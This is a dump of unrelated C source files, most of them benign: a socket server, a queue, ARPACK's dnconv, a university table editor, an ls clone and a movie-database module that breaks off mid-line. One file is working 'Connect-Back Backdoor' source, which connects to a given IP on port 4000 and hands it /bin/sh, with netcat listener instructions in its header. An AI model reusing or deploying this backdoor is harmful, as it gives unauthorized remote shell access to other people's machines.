, buffer, 4)) < ZERO) return FALSE; if (strcmp(buffer, "Inew") == 0) { print("New connection\n"); //send new connection greeting message if( send(new_user, message, strlen(message), ZERO) != strlen(message)) { perror("send"); } puts("Welcome message sent successfully"); //add new socket to array of sockets for (i = ZERO; i < MAX_NUMBER_OF_USERS; i++) { //if position is empty if( user_sockets[i] == ZERO ) { user_sockets[i] = new_user; user_ports[i] = i + BASE_PORT; char* port = itoa(user_ports[i]); if(send(new_user, port, strlen(port), ZERO) != strlen(port)) { perror("send"); } print("Adding to list of users\n"); break; } } } else{ int her_port = atoi(buffer); int user_index = 0; user_index = her_port - BASE_PORT; bzero(buffer, sizeof(buffer)); if ((valread = read( new_user , buffer, 1024)) > ZERO) { //set the string terminating NULL byte on the end //of the data read buffer[valread] = '\0'; print(buffer); print("\n"); handle_commands(new_user, user_index, buffer); } } } //else its some IO operation on some other socket for (i = ZERO; i < MAX_NUMBER_OF_USERS; i++) { sd = user_sockets[i]; if (FD_ISSET( sd , &readfds)) { //Check if it was for closing , and also read the //incoming message bzero(buffer, sizeof(buffer)); if ((valread = read( sd , buffer, 1024)) == ZERO) { //Somebody disconnected getpeername(sd , (struct sockaddr*)&address , \ (socklen_t*)&addrlen); print("Host disconnected\n"); //Close the socket and mark as 0 in list for reuse close( sd ); user_sockets[i] = ZERO; } else { buffer[valread] = '\0'; print(buffer); print("\n"); handle_commands(sd, i, buffer); } } } } return 0; } int main(int argc, char const *argv[]) { if (argc != NUMBER_OF_ARGUMENTS) { print("Number of arguments is Invalid!\n"); exit(EXIT_FAILURE); } server_port = atoi(argv[ONE]); run_server(server_port); while (TRUE) { } return 0; }
C
#include "mystd.h" static const int LIM = 200; static int mygetline(char s[], int lim); /* 这题答案的做法不够好,会有bug: 当数组长度不够写入整行,但如果写入到一半,末尾(实际行的中间)正好有空格或制表符,也会错误地进行删除 */ /* 所以正确的做法应该像我这样,只统计行尾的空格和制表符, 然后根据长度回退换行符和\0字符串结尾符的位置 */ int main() { char line[LIM]; int len = 0, index = 0; while ((len = mygetline(line,LIM)) != 0) { if (len > 1) { printf("%d:\t%s\t[lenght = %d]\n",++index,line,len); } } } /* 返回下一行的长度,将其写入数组s */ static int mygetline(char s[], int lim) { char c; int cur = 0; // 指向当前写入的字符下标 int tailsize = 0; // 记录行尾制表符和空格的长度 while ((c = getchar()) != EOF && c != '\n') { if (c == '\t' || c == ' ') { tailsize++; } else { // 表明之前累计的空格和制表符不在行尾,计数器归零 tailsize = 0; } if (cur < lim-1) { s[cur] = c; } cur++; } while (tailsize-- > 0) { --cur; } // 去掉行尾的空格和制表符 if (c == '\n' && cur < lim-1) { s[cur++] = '\n'; } if (cur < lim-1) { s[cur] = '\0'; } else { s[lim-1] = '\0'; } return cur; }
C
#include<stdio.h> #define Q_SIZE 5 typedef struct{ int data[Q_SIZE+1]; int head,tail; }Queue; void enqueue(Queue *q, int item) { if((q->tail+1)%(Q_SIZE+1)==q->head){ printf("Queue is full\n"); return; } q->data[q->tail]=item; q->tail=(q->tail+1)%(Q_SIZE+1); } int dequeue(Queue *q){ int item; if(q->tail==q->head){ printf("Queue is empty\n"); return -1; } item=q->data[q->head]; q->head=(q->head+1)%(Q_SIZE+1); return item; } int main() { Queue my_q; int item; my_q.head=0; my_q.tail=0; enqueue(&my_q,1); printf("tail = %d\n",my_q.tail); enqueue(&my_q,2); printf("tail = %d\n",my_q.tail); enqueue(&my_q,2); printf("tail = %d\n",my_q.tail); enqueue(&my_q,4); printf("tail = %d\n",my_q.tail); enqueue(&my_q,5); printf("tail = %d\n",my_q.tail); enqueue(&my_q,6); printf("tail = %d\n",my_q.tail); printf("beginning head = %d\n",my_q.head); item=dequeue(&my_q); printf("item = %d,head=%d\n",item,my_q.head); item=dequeue(&my_q); printf("item = %d,head=%d\n",item,my_q.head); item=dequeue(&my_q); printf("item = %d,head=%d\n",item,my_q.head); item=dequeue(&my_q); printf("item = %d,head=%d\n",item,my_q.head); item=dequeue(&my_q); printf("item = %d,head=%d\n",item,my_q.head); item=dequeue(&my_q); printf("item = %d,head=%d\n",item,my_q.head); }
C
/* Digit-Labs Connect-Back Backdoor * * Use this backdoor to access * machines behind firewalls. * * step 1. setup a listening port * on your box e.g. * nc -l -p 4000 * * step 2. Run this file : * ./cbd <ip_of_listening_machine> * * grazer@digit-labs.org * http://www.digit-labs.org * */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <netdb.h> int fd, sock; int port = 4000; struct sockaddr_in addr; char mesg[] = "\n[ Digit-Labs Connect-Back Backdoor ]\n * Connected to CommandLine... \n"; char shell[] = "/bin/sh"; int main(int argc, char *argv[]) { while(argc<2) { fprintf(stderr, "\n\n %s <ip> \n\n", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(argv[1]); fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr*)&addr, sizeof(addr)); send(fd, mesg, sizeof(mesg), 0); dup2(fd, 0); // thnx dvorak dup2(fd, 1); dup2(fd, 2); execl(shell, "in.telnetd", 0); close(fd); return 1; }
C
/* arpack-ng\SRC\dnconv.f -- translated by f2c (version 20100827). */ #include <math.h> #include "arpack_internal.h" /** * \BeginDoc * * \Name: dnconv * * \Description: * Convergence testing for the nonsymmetric Arnoldi eigenvalue routine. * * \Usage: * call dnconv * ( N, RITZR, RITZI, BOUNDS, TOL, NCONV ) * * \Arguments * N Integer. (INPUT) * Number of Ritz values to check for convergence. * * RITZR, Double precision arrays of length N. (INPUT) * RITZI Real and imaginary parts of the Ritz values to be checked * for convergence. * BOUNDS Double precision array of length N. (INPUT) * Ritz estimates for the Ritz values in RITZR and RITZI. * * TOL Double precision scalar. (INPUT) * Desired backward error for a Ritz value to be considered * "converged". * * NCONV Integer scalar. (OUTPUT) * Number of "converged" Ritz values. * * \EndDoc * * \BeginLib * * \Local variables: * xxxxxx real * * \Routines called: * arscnd ARPACK utility routine for timing. * dlamch LAPACK routine that determines machine constants. * dlapy2 LAPACK routine to compute sqrt(x**2+y**2) carefully. * * \Author * Danny Sorensen Phuong Vu * Richard Lehoucq CRPC / Rice University * Dept. of Computational & Houston, Texas * Applied Mathematics * Rice University * Houston, Texas * * \Revision history: * xx/xx/92: Version ' 2.1' * * \SCCS Information: @(#) * FILE: nconv.F SID: 2.3 DATE OF SID: 4/20/96 RELEASE: 2 * * \Remarks * 1. xxxx * * \EndLib */ int dnconv_(int *n, double *ritzr, double *ritzi, double *bounds, double *tol, int *nconv) { /* System generated locals */ int i__1; double d__1, d__2; /* Builtin functions */ /* Local variables */ int i; static float t0, t1; double eps23, temp; /* ----------------------------------------------------------- */ /* Convergence test: unlike in the symmetric code, I am not */ /* using things like refined error bounds and gap condition */ /* because I don't know the exact equivalent concept. */ /* */ /* Instead the i-th Ritz value is considered "converged" when: */ /* */ /* bounds(i) .le. ( TOL * | ritz | ) */ /* */ /* for some appropriate choice of norm. */ /* ----------------------------------------------------------- */ /* Parameter adjustments */ --bounds; --ritzi; --ritzr; /* Function Body */ #ifndef NO_TIMER arscnd_(&t0); #endif /* ------------------------------- */ /* Get machine dependent constant. */ /* ------------------------------- */ eps23 = dlamch_("E"); eps23 = pow(eps23, d_23); *nconv = 0; i__1 = *n; for (i = 1; i <= i__1; ++i) { /* Computing MAX */ d__1 = eps23, d__2 = dlapy2_(&ritzr[i], &ritzi[i]); temp = max(d__1,d__2); if (bounds[i] <= *tol * temp) { ++(*nconv); } } #ifndef NO_TIMER arscnd_(&t1); timing_1.tnconv += t1 - t0; #endif return 0; /* ------------- */ /* End of dnconv */ /* ------------- */ } /* dnconv_ */
C
/* * Autor: Denis Karev (xkarev00) * Výsoké učení technické v Brně * Fakulta informačních technologií * * IZP - Základy programování * Projekt č. 1 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <limits.h> #include <ctype.h> #define STR_MAX_LEN 81920 / CHAR_BIT #define MODE_NONE -1 #define MODE_EDIT_TABLE 0 #define MODE_EDIT_DATA 1 // selection modes #define SELECTION_TABLE 0 #define SELECTION_ROWS 1 #define SELECTION_BEGINSWITH 2 #define SELECTION_CONTAINS 3 char* delims = " "; // array of table change commands with no args const char* tc_noargs[] = { "acol", "arow" }; // array of table change commands with 1 arg const char* tc_1arg[] = { "irow", "drow", "icol", "dcol" }; // array of table change commands with 2 args const char* tc_2arg[] = { "drows", "dcols" }; // array of data edit commands with 1 arg const char* de_1arg[] = { "tolower", "toupper", "round", "int" }; // array of data edit commands with 2 args const char* de_2arg[] = { "cset", "copy", "swap", "move" }; // 0 - table edit command, 1 - selection command, 2 - content edit command, -1 - is not a command int commandType(const char* name) { for (int i = 0; i < (int)(sizeof(tc_2arg) / sizeof(tc_2arg[0])); ++i) { if (strcmp(name, tc_2arg[i]) == 0) { return 0; } } for (int i = 0; i < (int)(sizeof(tc_1arg) / sizeof(tc_1arg[0])); ++i) { if (strcmp(name, tc_1arg[i]) == 0) { return 0; } } for (int i = 0; i < (int)(sizeof(tc_noargs) / sizeof(tc_noargs[0])); ++i) { if (strcmp(name, tc_noargs[i]) == 0) { return 0; } } for (int i = 0; i < (int)(sizeof(de_1arg) / sizeof(de_1arg[0])); ++i) { if (strcmp(name, de_1arg[i]) == 0) { return 2; } } for (int i = 0; i < (int)(sizeof(de_2arg) / sizeof(de_2arg[0])); ++i) { if (strcmp(name, de_2arg[i]) == 0) { return 2; } } if (strcmp(name, "rows") == 0 || strcmp(name, "beginswith") == 0 || strcmp(name, "contains") == 0) { return 1; } return -1; } // 0 - no args, 1 - 1 arg, 2 - 2 args, -1 - is not a command int argCount(const char* name) { for (int i = 0; i < (int)(sizeof(tc_2arg) / sizeof(tc_2arg[0])); ++i) { if (strcmp(name, tc_2arg[i]) == 0) { return 2; } } for (int i = 0; i < (int)(sizeof(tc_1arg) / sizeof(tc_1arg[0])); ++i) { if (strcmp(name, tc_1arg[i]) == 0) { return 1; } } for (int i = 0; i < (int)(sizeof(tc_noargs) / sizeof(tc_noargs[0])); ++i) { if (strcmp(name, tc_noargs[i]) == 0) { return 0; } } for (int i = 0; i < (int)(sizeof(de_1arg) / sizeof(de_1arg[0])); ++i) { if (strcmp(name, de_1arg[i]) == 0) { return 1; } } for (int i = 0; i < (int)(sizeof(de_2arg) / sizeof(de_2arg[0])); ++i) { if (strcmp(name, de_2arg[i]) == 0) { return 2; } } if (strcmp(name, "rows") == 0 || strcmp(name, "beginswith") == 0 || strcmp(name, "contains") == 0) { return 2; } return -1; } int isDelim(char symbol) { for (int i = 0; i < (int)strlen(delims); ++i) { if (symbol == delims[i]) { return 1; } } return 0; } int main(int argc, char* argv[]) { if (argc == 1) { fprintf(stderr, "ERROR: no arguments were specified"); return EXIT_FAILURE; } // parsing arguments int mode = MODE_NONE; // variables for MODE_EDIT_TABLE char commands[255][100] = { 0 }; // sequence of commands int i_commands = 0; // index in commands int aRows = 0; // amount of rows added with arow // variables for MODE_EDIT_DATA // selection variables int selectionMode = SELECTION_TABLE; int sRowsStart = 0; int sRowsEnd = INT_MAX; int colI = 0; char selectionSTR[101] = { 0 }; // editing variables char command[32] = { 0 }; int editArg0 = 0; int editArg1 = 0; char editSTR[101] = { 0 }; int arg = 1; while (arg < argc) { // parse delimiters if (strcmp(argv[arg], "-d") == 0) { if (arg + 1 >= argc) { // index out of range (e.g. delimiter wasn't specified) fprintf(stderr, "ERROR: delimiter was not specified in -d argument!\n"); return EXIT_FAILURE; } delims = argv[arg + 1]; arg += 2; } else { int currArgC = argCount(argv[arg]); if (currArgC == -1) // a little bit weird check { fprintf(stderr, "ERROR: error in argument #%d: '%s' is not a command or a valid command argument", arg, argv[arg]); return EXIT_FAILURE; } else { int currCommandT = commandType(argv[arg]); if (currCommandT == 0) { if (mode == MODE_EDIT_DATA) { fprintf(stderr, "ERROR: please run commands for editing table separately from commands for editing data\n"); return EXIT_FAILURE; } mode = MODE_EDIT_TABLE; if (currArgC == 0) { sprintf(commands[i_commands], "%s", argv[arg]); ++i_commands; if (strcmp(argv[arg], "arow") == 0) ++aRows; arg += 1; } else if (currArgC == 1) { if (arg + 1 >= argc) { fprintf(stderr, "ERROR: incorrect amount of arguments for the command '%s'\n", argv[arg]); return EXIT_FAILURE; } // we control if arguments for the command are correct numbers char* eptr; long arg0 = strtol(argv[arg + 1], &eptr, 10); if (arg0 < 1) { fprintf(stderr, "ERROR: incorrect argument #1: %s for the command '%s'\n", argv[arg + 1], argv[arg]); return EXIT_FAILURE; } // add command to the sequence sprintf(commands[i_commands], "%s %s", argv[arg], argv[arg + 1]); ++i_commands; arg += 2; } else if (currArgC == 2) { if (arg + 2 >= argc) { fprintf(stderr, "ERROR: incorrect amount of arguments for the command %s\n", argv[arg]); return EXIT_FAILURE; } // we control if arguments for the command are correct numbers char* eptr; long arg0 = strtol(argv[arg + 1], &eptr, 10); if (arg0 < 1) { fprintf(stderr, "ERROR: incorrect argument #1: %s for the command %s\n", argv[arg + 1], argv[arg]); return EXIT_FAILURE; } long arg1 = strtol(argv[arg + 2], &eptr, 10); if (arg1 < 1) { fprintf(stderr, "ERROR: incorrect argument #2: %s for the command %s\n", argv[arg + 2], argv[arg]); return EXIT_FAILURE; } if (arg1 < arg0) { fprintf(stderr, "ERROR: argument #1 can't be bigger then argument #2\n"); return EXIT_FAILURE; } // add command to the sequence sprintf(commands[i_commands], "%s %s %s", argv[arg], argv[arg + 1], argv[arg + 2]); ++i_commands; arg += 3; } } else if (currCommandT == 1) { if (mode == MODE_EDIT_TABLE) { fprintf(stderr, "ERROR: please run commands for editing table separately from commands for editing data\n"); return EXIT_FAILURE; } mode = MODE_EDIT_DATA; if (strcmp(argv[arg], "rows") == 0) { if (arg + 2 >= argc) { fprintf(stderr, "ERROR: incorrect amount of arguments for the command %s\n", argv[arg]); return EXIT_FAILURE; } sRowsStart = atoi(argv[arg + 1]); if (sRowsStart == 0) { fprintf(stderr, "ERROR: incorrect argument #1: %s for the command %s\n", argv[arg + 1], argv[arg]); return EXIT_FAILURE; } if (strcmp(argv[arg + 2], "-") != 0) { sRowsEnd = atoi(argv[arg + 2]); if (sRowsEnd == 0) { fprintf(stderr, "ERROR: incorrect argument #2: %s for the command %s\n", argv[arg + 1], argv[arg]); return EXIT_FAILURE; } } selectionMode = SELECTION_ROWS; arg += 3; } else { if (strcmp(argv[arg], "beginswith") == 0) { selectionMode = SELECTION_BEGINSWITH; } else if (strcmp(argv[arg], "contains") == 0) { selectionMode = SELECTION_CONTAINS; } if (arg + 2 >= argc) { fprintf(stderr, "ERROR: incorrect amount of arguments for the command %s\n", argv[arg]); return EXIT_FAILURE; } colI = atoi(argv[arg + 1]); if (colI == 0) { fprintf(stderr, "ERROR: incorrect argument #1: %s for the command %s\n", argv[arg + 1], argv[arg]); return EXIT_FAILURE; } // reading STR int isCommand = commandType(argv[arg + 2]); if (isCommand != -1) { fprintf(stderr, "ERROR: incorrect argument #2: unexpected command %s after the command %s\n", argv[arg + 2], argv[arg]); return EXIT_FAILURE; } int pos = 0; while (strlen(selectionSTR) < 100) { if ((strlen(selectionSTR) + strlen(argv[arg + 2 + pos]) > 100)) break; sprintf(selectionSTR, "%s%s", selectionSTR, argv[arg + 2 + pos]); ++pos; if (arg + 2 + pos >= argc) break; isCommand = commandType(argv[arg + 2 + pos]); if (isCommand != -1) break; sprintf(selectionSTR, "%s ", selectionSTR); } arg += 2 + pos; } } else if (currCommandT == 2) { if (mode == MODE_EDIT_TABLE) { fprintf(stderr, "ERROR: please run commands for editing table separately from commands for editing data\n"); return EXIT_FAILURE; } mode = MODE_EDIT_DATA; if (currArgC == 1) { if (arg + 1 >= argc) { fprintf(stderr, "ERROR: incorrect amount of arguments for the command '%s'\n", argv[arg]); return EXIT_FAILURE; } editArg0 = atoi(argv[arg + 1]); if (editArg0 < 1) { fprintf(stderr, "ERROR: incorrect argument #1: %s for the command '%s'\n", argv[arg + 1], argv[arg]); return EXIT_FAILURE; } strcpy(command, argv[arg]); arg += 2; } else { if (arg + 2 >= argc) { fprintf(stderr, "ERROR: incorrect amount of arguments for the command %s\n", argv[arg]); return EXIT_FAILURE; } editArg0 = atoi(argv[arg + 1]); if (editArg0 < 1) { fprintf(stderr, "ERROR: incorrect argument #1: %s for the command '%s'\n", argv[arg + 1], argv[arg]); return EXIT_FAILURE; } if (strcmp(argv[arg], "cset") == 0) { // reading STR int isCommand = commandType(argv[arg + 2]); if (isCommand != -1) { fprintf(stderr, "ERROR: incorrect argument #2: unexpected command %s after the command %s\n", argv[arg + 2], argv[arg]); return EXIT_FAILURE; } int pos = 0; while (strlen(editSTR) < 100) { if ((strlen(editSTR) + strlen(argv[arg + 2 + pos]) > 100)) break; sprintf(editSTR, "%s%s", editSTR, argv[arg + 2 + pos]); ++pos; if (arg + 2 + pos >= argc) break; isCommand = commandType(argv[arg + 2 + pos]); if (isCommand != -1) break; sprintf(editSTR, "%s ", editSTR); } strcpy(command, argv[arg]); arg += 2 + pos; } else { editArg1 = atoi(argv[arg + 2]); if (editArg1 < 1) { fprintf(stderr, "ERROR: incorrect argument #1: %s for the command '%s'\n", argv[arg + 2], argv[arg]); return EXIT_FAILURE; } strcpy(command, argv[arg]); arg += 3; } } } } } } if (mode == MODE_NONE) { fprintf(stderr, "ERROR: no commands were specified\n"); return EXIT_FAILURE; } char input[STR_MAX_LEN] = { 0 }; int currInputRow = 1; // current row based on input int realRow = 1; // real row index int renderColumns = 0; // amount of columns to render int originalCols = 0; int colsWithAcol = 0; //amount of columns before modifications, but with acols // start parsing rows while (fgets(input, STR_MAX_LEN, stdin)) { int currColumn = 0; char columns[105][101] = { 0 }; int i_column = 0; for (int i = 0; i < (int)strlen(input); ++i) { if (i == 0 && isDelim(input[i])) { ++currColumn; continue; } if (currInputRow > 1 && currColumn >= originalCols) // if some row has more columns then the first row, we'll set values of all extra columns to \0 { break; } if (!isDelim(input[i]) && input[i] != '\n' && input[i] != EOF) { columns[currColumn][i_column] = input[i]; ++i_column; } else { ++currColumn; i_column = 0; } } int columnCount = currColumn; if (currInputRow == 1) { renderColumns = columnCount; originalCols = columnCount; colsWithAcol = columnCount; } int renderThis = 1; int emptyBeforeThis = 0; if (mode == MODE_EDIT_TABLE) { // column commands for (int ci = 0; ci < i_commands; ++ci) { char nextCommand[100]; strcpy(nextCommand, commands[ci]); int arg0, arg1; char* nextCommandName = strtok(nextCommand, " "); char* eptr; // get args count to prevent segmentation fault if (argCount(nextCommandName) >= 1) { arg0 = strtol(strtok(NULL, " "), &eptr, 10); } if (argCount(nextCommandName) >= 2) { arg1 = strtol(strtok(NULL, " "), &eptr, 10); } // run command if (strcmp(nextCommandName, "icol") == 0) { if (arg0 <= renderColumns) { // argument > amount of columns => ignore; if (currInputRow == 1) ++renderColumns; // copy content from each column to the next one. arg0 - 1 because array of columns starts with 0, but table's indexes start with 1 for (int i = renderColumns; i > arg0 - 1; --i) { strcpy(columns[i], columns[i - 1]); } strcpy(columns[arg0 - 1], ""); // new empty column } } else if (strcmp(nextCommandName, "dcol") == 0) { if (arg0 <= colsWithAcol) { // copy content for (int i = arg0 - 1; i <= colsWithAcol; ++i) { strcpy(columns[i], columns[i + 1]); } // decrease table length if (currInputRow == 1) --renderColumns; } } else if (strcmp(nextCommandName, "dcols") == 0) { if (arg0 <= colsWithAcol) { if (arg1 > colsWithAcol) arg1 = colsWithAcol; int removedCols = arg1 - arg0 + 1; for (int i = arg0 - 1; i <= columnCount; ++i) { strcpy(columns[i], columns[i + removedCols]); } if (currInputRow == 1) renderColumns -= removedCols; } } else if (strcmp(nextCommandName, "acol") == 0) { if (currInputRow == 1) { ++colsWithAcol; ++renderColumns; } } } // row commands for (int ci = 0; ci < i_commands; ++ci) { char nextCommand[100]; strcpy(nextCommand, commands[ci]); int arg0, arg1; char* nextCommandName = strtok(nextCommand, " "); char* eptr; // get args count to prevent segmentation fault if (argCount(nextCommandName) >= 1) { arg0 = strtol(strtok(NULL, " "), &eptr, 10); } if (argCount(nextCommandName) >= 2) { arg1 = strtol(strtok(NULL, " "), &eptr, 10); } if (strcmp(nextCommandName, "irow") == 0) { if (arg0 >= realRow - emptyBeforeThis && arg0 <= realRow) { ++emptyBeforeThis; ++realRow; } } else if (strcmp(nextCommandName, "drow") == 0) { if (arg0 >= realRow - emptyBeforeThis && arg0 < realRow) // deleting rows added with irow { --emptyBeforeThis; --realRow; } else if (arg0 == realRow) { renderThis = 0; } } else if (strcmp(nextCommandName, "drows") == 0) { for (int i = arg0; i <= arg1; ++i) { if (i >= realRow - emptyBeforeThis && i < realRow) // deleting rows added with irow { --emptyBeforeThis; --realRow; } else if (i == realRow) { renderThis = 0; } } } } } else { int onThisRow = 0; if (selectionMode == SELECTION_ROWS) { if (currInputRow >= sRowsStart && currInputRow <= sRowsEnd) onThisRow = 1; } else if (selectionMode == SELECTION_CONTAINS) { if (strcmp(columns[colI - 1], selectionSTR) == 0) onThisRow = 1; } else if (selectionMode == SELECTION_BEGINSWITH) { if (strncmp(columns[colI - 1], selectionSTR, strlen(selectionSTR)) == 0) onThisRow = 1; } else onThisRow = 1; // run commands if (onThisRow == 1) { if (strcmp(command, "tolower") == 0) { for (int i = 0; columns[editArg0 - 1][i]; ++i) { columns[editArg0 - 1][i] = tolower(columns[editArg0 - 1][i]); } } else if (strcmp(command, "toupper") == 0) { for (int i = 0; columns[editArg0 - 1][i]; ++i) { columns[editArg0 - 1][i] = toupper(columns[editArg0 - 1][i]); } } else if (strcmp(command, "round") == 0) { if (editArg0 <= columnCount) { char* err; double number = strtod(columns[editArg0 - 1], &err); if (*err != 0 && !isspace((unsigned char)*err)) { fprintf(stderr, "ERROR: expected a number (row %d, column %d)\n", currInputRow, editArg0); return EXIT_FAILURE; } int res = number >= 0 ? (int)(number + 0.5) : (int)(number - 0.5); sprintf(columns[editArg0 - 1], "%d", res); } } else if (strcmp(command, "int") == 0) { if (editArg0 <= columnCount) { char* err; double number = strtod(columns[editArg0 - 1], &err); if (*err != 0 && !isspace((unsigned char)*err)) { fprintf(stderr, "ERROR: expected a number (row %d, column %d)\n", currInputRow, editArg0); return EXIT_FAILURE; } int res = (int)number; sprintf(columns[editArg0 - 1], "%d", res); } } else if (strcmp(command, "cset") == 0) { strcpy(columns[editArg0 - 1], editSTR); } else if (strcmp(command, "copy") == 0) { strcpy(columns[editArg1 - 1], columns[editArg0 - 1]); } else if (strcmp(command, "swap") == 0) { if (editArg0 > editArg1) { int temp = editArg1; editArg1 = editArg0; editArg0 = temp; } if (editArg0 < originalCols && editArg1 <= originalCols) { char buff[101] = { 0 }; strcpy(buff, columns[editArg0 - 1]); strcpy(columns[editArg0 - 1], columns[editArg1 - 1]); strcpy(columns[editArg1 - 1], buff); } } else if (strcmp(command, "move") == 0) { if (editArg0 < editArg1) { if (editArg0 < originalCols && editArg1 <= originalCols) { char buff[101] = { 0 }; strcpy(buff, columns[editArg0 - 1]); for (int col = editArg0 - 1; col < editArg1 - 2; ++col) { strcpy(columns[col], columns[col + 1]); } strcpy(columns[editArg1 - 2], buff); } } else if (editArg1 < editArg0) // reverse { if (editArg0 <= originalCols && editArg1 < originalCols) { char buff[101] = {0}; strcpy(buff, columns[editArg0 - 1]); for (int col = editArg0 - 1; col >= editArg1 - 1; --col) { strcpy(columns[col], columns[col - 1]); } strcpy(columns[editArg1 - 1], buff); } } } } } // rendering for (int i = 1; i <= emptyBeforeThis; ++i) { for (int j = 0; j < renderColumns - 1; ++j) { printf("%c", delims[0]); } printf("\n"); } if (renderThis) { for (int i = 0; i < renderColumns; ++i) { if (i == renderColumns - 1) printf("%s", columns[i]); else printf("%s%c", columns[i], delims[0]); } printf("\n"); } ++realRow; ++currInputRow; } // render arows for (int i = 1; i <= aRows; ++i) { for (int j = 1; j < renderColumns; ++j) { printf("%c", delims[0]); } printf("\n"); } return 0; }
C
#include<stdio.h> #include<stdlib.h> #include<sys/types.h> #include<dirent.h> void ls(char*); int main(int argc, char *argv[]) { // struct dirent* p; // DIR* dir if(argc == 1) { ls("."); } else { int i = 1; char* dir = argv[1]; while(i <= argc-1) { printf("%s:\n", dir); ls(dir); i++; dir = argv[i]; } } return 0; } void ls(char* direct) { DIR* dir; struct dirent* p; if((dir = opendir(direct)) == NULL) { fprintf(stderr, "opendir error!"); exit(1); } while((p = readdir(dir)) != NULL) { printf("%s\n", p->d_name); } closedir(dir); }
C
#include "Bibliotecas/library.h" // mostra qualquer texto na tela, na posição escolhida void texto(void * font, char *s, float x, float y) { int i; glRasterPos2f(x, y); for (i = 0; i < strlen(s); i++) { glutBitmapCharacter(font, s[i]); } } // converte o score de int para string // função acabou inutil, descobri depois que existe sprintf, usei ela mesmo assim por orgulho char *my_itoa(int num, char *str){ if(str == NULL) return NULL; sprintf(str, "%d", num); return str; } void mostraScore(int score, float x, float y){ char stringScore[50]; my_itoa(score, stringScore); // gambiarra pro score sempre ficar na tela if (x>=10000){ x-=5; } if (x>=100000){ x-=5; } texto(GLUT_BITMAP_TIMES_ROMAN_24, stringScore , x, y); // glutSwapBuffers(); }
C
#include <stdlib.h> #include <stdio.h> #include "common.h" allocd_list *chain; int init_allocdlist(){ chain = (allocd_list*)malloc(sizeof(allocd_list)); chain->ptr =NULL; chain->prev = NULL; return 0;// } int write_allocdlist(void* p){ allocd_list *_c = (allocd_list*)malloc(sizeof(allocd_list)); _c->ptr = p; _c->prev = chain; chain = _c; return 0; } int free_allocdlist(){ fprintf(stdout,"\nfreeing unfreed allocated memory"); int count = 0; allocd_list *pivot; while(chain->prev != NULL){ free(chain->ptr); pivot = chain; chain = chain->prev; free(pivot); count++; } fprintf(stdout,"\n"); free(chain); fprintf(stdout,"%d Allocated pointers freed properly\n",count); return 0; }
C
#include "main.h" //A function to read the dataset from the user. char* getFileFromUser(int* fileSize) { //Reading a file from the user FILE* fp; char* filePath = (char*)my_malloc(CHAR, 1024); do { printf("Drag and drop the dataset...\n"); scanf("%s", filePath); fp = fopen(filePath, "rb"); if (fp == NULL) { clearScreen(); printf("Could not open file: %s\n", filePath); } } while (fp == NULL); char* file = NULL; /* Go to the end of the file. */ if (fseek(fp, 0L, SEEK_END) == 0) { /* Get the size of the file. */ long bufsize = ftell(fp); if (bufsize == -1) { /* Error */ fputs("Error reading file", stderr); *fileSize = -1; } else { /* Allocate our buffer to that size. */ file = malloc(sizeof(char) * (bufsize + 1)); *fileSize = (sizeof(char) * (bufsize + 1)); /* Go back to the start of the file. */ if (fseek(fp, 0L, SEEK_SET) != 0) { /* Error */ } /* Read the entire file into memory. */ size_t newLen = fread(file, sizeof(char), bufsize, fp); if (newLen == 0) { fputs("Error reading file", stderr); } else { file[++newLen] = '\0'; /* Just to be safe. */ } } fclose(fp); } return file; }
C
#include "holberton.h" /** * print_chessboard - sfdgsd * @a: asdfasd */ void print_chessboard(char (*a)[8]) { int i, i2; for (i = 0; i <= 7; i++) { for (i2 = 0; i2 <= 7; i2++) { _putchar(a[i][i2]); if (i2 == 7 && i < 8) { _putchar('\n'); } } } }
C
#include "binary_files.h" void insert_movie_to_file(Database* database, Movie movie) { FILE* movie_file = fopen(database->movies_file, "r+b"); unsigned movie_size = sizeof(Movie) + 2 * sizeof(int); unsigned offset = movie_size * (database->movies_count - 1); fseek(movie_file, offset, SEEK_SET); fwrite(&movie, sizeof(Movie), 1, movie_file); int additional_info[2] = {-1, 0}; // position of first s, and cnt of sons fwrite(additional_info, sizeof(int), 2, movie_file); fclose(movie_file); } void insert_role_to_file(Database* database, Role member, int cur_cnt_members, int additional_info) { FILE* member_file_pointer = fopen(database->roles_file, "r+b"); cur_cnt_members++; fwrite(&cur_cnt_members, sizeof(int), 1, member_file_pointer); fclose(member_file_pointer); member_file_pointer = fopen(database->roles_file, "r+b"); unsigned size_of_one_item = sizeof(Role) + sizeof(int); unsigned offset = sizeof(int) + size_of_one_item * (cur_cnt_members - 1); fseek(member_file_pointer, offset, SEEK_SET); fwrite(&member, sizeof(Role), 1, member_file_pointer); fwrite(&additional_info, sizeof(int), 1, member_file_pointer); fclose(member_file_pointer); } void get_additional_info_by_movie_row(Database* database, int movie_row, int* first_role_position, int* cnt_roleships) { FILE* movie_file_pointer = fopen(database->movies_file, "rb"); unsigned size_of_one_item = sizeof(Movie) + 2 * sizeof(int); unsigned offset = size_of_one_item * (movie_row) + sizeof(Movie); fseek(movie_file_pointer, offset, SEEK_SET); fread(first_role_position, sizeof(int), 1, movie_file_pointer); fread(cnt_roleships, sizeof(int), 1, movie_file_pointer); fclose(movie_file_pointer); } void update_additional_movie_info(Database* database, int movie_row, int first_role_position, int cnt_roleships) { FILE* movie_file_pointer = fopen(database->movies_file, "r+b"); int size_of_one_item = sizeof(Movie) + 2 * sizeof(int); unsigned offset = size_of_one_item * (movie_row) + sizeof(Movie); fseek(movie_file_pointer, offset, SEEK_SET); fwrite(&first_role_position, sizeof(int), 1, movie_file_pointer); fwrite(&cnt_roleships, sizeof(int), 1, movie_file_pointer); fclose(movie_file_pointer); } int update_movie_after_insertion(Database* database, int movie_row, int role_row) { int position, cnt_roleships; get_additional_info_by_movie_row(database, movie_row, &position, &cnt_roleships); ++cnt_roleships; update_additional_movie_info(database, movie_row, role_row, cnt_roleships); return position; } void get_all_movie_roles(Database* database, int movie_id, Role roles[]){ int i = 0; FILE* role_file_pointer = fopen(database->roles_file, "rb"); Role role; int previous_row; while(role.id > 0 && role.movie_id == movie_id) { roles[i] = role; i++; fread(&role, sizeof(Role), 1, role_file_pointer); } fclose(role_file_pointer); } void update_movie_in_file(Database* database, int row, Movie movie){ FILE* movies_file = fopen(database->movies_file, "r+b"); unsigned movie_size = sizeof(Movie) + 2 * sizeof(int); unsigned offset = movie_size * 